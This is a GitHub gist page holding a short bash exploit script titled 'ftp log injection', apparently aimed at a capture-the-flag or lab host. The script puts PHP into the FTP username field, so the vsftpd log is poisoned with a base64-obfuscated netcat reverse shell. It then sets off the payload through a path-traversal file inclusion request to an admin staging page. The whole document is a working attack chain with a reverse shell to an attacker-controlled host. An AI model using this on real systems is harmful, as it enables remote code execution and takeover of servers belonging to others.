Skip to content

Instantly share code, notes, and snippets.

@shollingsworth
Created February 9, 2022 17:27
Show Gist options
  • Save shollingsworth/491b0000fb24240f0960c729545a99ba to your computer and use it in GitHub Desktop.
Save shollingsworth/491b0000fb24240f0960c729545a99ba to your computer and use it in GitHub Desktop.
ftp log injection
#!/usr/bin/env bash
set -euo pipefail
IFS=$'\n\t'
path="user.php"
path="/etc/vsftpd/vsftpd.conf"
path="/var/log/vsftpd.log"
R=hostname.com
MYHOST=127.0.0.1
## reverse shell
exec_cmd="nc -e /bin/sh $MYHOST 4444"
inject_cmd="echo $(echo ${exec_cmd} | base64 -w0) | base64 -d | bash"
wget --ftp-user="<?php exec(\"${inject_cmd}\"); ?>" [email protected] ftp://${R} || true
curl http://10.10.10.249/admin../admin_staging/index.php?page="${path}"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment